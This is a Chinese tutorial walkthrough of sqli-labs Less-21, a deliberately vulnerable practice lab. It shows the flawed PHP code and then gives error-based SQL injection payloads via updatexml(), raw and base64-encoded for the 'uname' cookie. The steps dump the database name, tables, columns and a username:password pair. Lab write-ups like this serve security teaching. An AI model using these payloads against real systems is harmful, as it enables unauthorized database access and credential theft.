sqli-labs:Less-21关卡详细解析
1. 思路🚀
本关的SQL语句为:
$sql="SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1";
- 注入类型:字符串型(单引号、括号包裹)、GET操作
- 提示:参数需以
')
闭合 - 关键参数:
cookee
php
输出语句的部分代码:
if(!isset($_POST['submit']))
{$cookee = $_COOKIE['uname'];$format = 'D d M Y - H:i:s';$timestamp = time() + 3600;echo "<center>";echo "<br><br><br><b>";echo '<img src="../images/Less-21.jpg" />';echo "<br><br><b>";echo '<br><font color= "red" font size="4">'; echo "YOUR USER AGENT IS : ".$_SERVER['HTTP_USER_AGENT'];echo "</font><br>"; echo '<font color= "cyan" font size="4">'; echo "YOUR IP ADDRESS IS : ".$_SERVER['REMOTE_ADDR']; echo "</font><br>"; echo '<font color= "#FFFF00" font size = 4 >';echo "DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE <br>";echo '<font color= "orange" font size = 5 >'; echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp);$cookee = base64_decode($cookee);echo "<br></font>";......
}
本关卡的关键回显语句是echo "YOUR COOKIE : uname = $cookee...
和$cookee = base64_decode($cookee);
,需通过正确的账号密码后才会正确回显信息,并且已知正确的账号和密码,暂且每次提交的账号密码都是admin
,根据提示配合报错盲注
。
2. 手工注入步骤🎯
2.1. 获悉Cookie格式⚡
下图是使用Burpsuite的Repeater
抓取数据包得到的带有Cookie
的请求格式,需要注意的是会有2个请求,先是POST请求,再是GET请求,只有GET请求中才携带Cookie
。
因为代码中进行了Base64解码
,所以我们必须先对其进行Base64编码
,这样的加解密操作才能进行正常的sql语句。使用HackBar
扩展,接下来的过程只需要将下面编码后的Cookies
放入对应位置,粘贴即可。
注:Cookies的开头是uname=
2.2. 获取基本信息⚡
1') and updatexml(1,concat(1,(select database())),3) #
MScpIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMSwoc2VsZWN0IGRhdGFiYXNlKCkpKSwzKSAj
2.3. 获取表名⚡
1') and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security')),3) #
MScpIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMSwoc2VsZWN0IGdyb3VwX2NvbmNhdCh0YWJsZV9uYW1lKSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgd2hlcmUgdGFibGVfc2NoZW1hID0gJ3NlY3VyaXR5JykpLDMpICM=
2.4. 获取字段⚡
1') and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users')),3) #
MScpIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMSwoc2VsZWN0IGdyb3VwX2NvbmNhdChjb2x1bW5fbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEuY29sdW1ucyB3aGVyZSB0YWJsZV9zY2hlbWEgPSAnc2VjdXJpdHknIGFuZCB0YWJsZV9uYW1lID0gJ3VzZXJzJykpLDMpICM=
2.5. 获取数据⚡
1') and updatexml(1,concat(1,(select concat(username, ':', password) from users limit 0,1)),3) #
MScpIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMSwoc2VsZWN0IGNvbmNhdCh1c2VybmFtZSwgJzonLCBwYXNzd29yZCkgZnJvbSB1c2VycyBsaW1pdCAwLDEpKSwzKSAj
2.6. 参数汇总表⭐
参数 | 作用 | 示例 |
---|---|---|
') | 闭合符号 | id=1)' |
# | 注释符 | #' |
updatexml() | 报错注入函数 | updatexml(1,(select database()),3) |
concat() | 字符串拼接函数 | concat('a','b') 或 concat(1,(select database())) |
information_schema | 系统数据库 | from information_schema.tables |
table_schema | 数据库名称 | table_schema='security' |
table_name | 数据表名称 | table_name='users' |
column_name | 字段名称 | group_concat(column_name) |
3. Base64加解密工具🛠️
加菲在线工具:https://www.orcc.top/tools/base64
锤子在线工具:https://www.toolhelper.cn/EncodeDecode/Base64
白盒子在线工具:https://www.baihezi.com/base64
4. 总结🏁
HTTP Cookie(通常简称 Cookie)是 服务器发送到用户浏览器并保存在本地的一小段数据。浏览器会在后续的 HTTP 请求中自动携带该 Cookie,以便服务器识别用户身份或存储用户偏好。
本关卡在http
请求头中的Cookie
做文章,并且进行一次变种,为了达到sql注入的效果,需同时配合报错盲注获取数据。较为基础的Cookie注入见文章"sqli-labs:Less-20关卡详细解析"
https://blog.csdn.net/qq_62000508/article/details/149864853?spm=1011.2415.3001.5331
有关报错盲注的解析,关卡5最为详细,欢迎移步"sqli-labs:Less-5关卡详细解析"
https://blog.csdn.net/qq_62000508/article/details/149778521?spm=1011.2124.3001.6209
声明:本文仅用于安全学习,严禁非法测试! ❗❗❗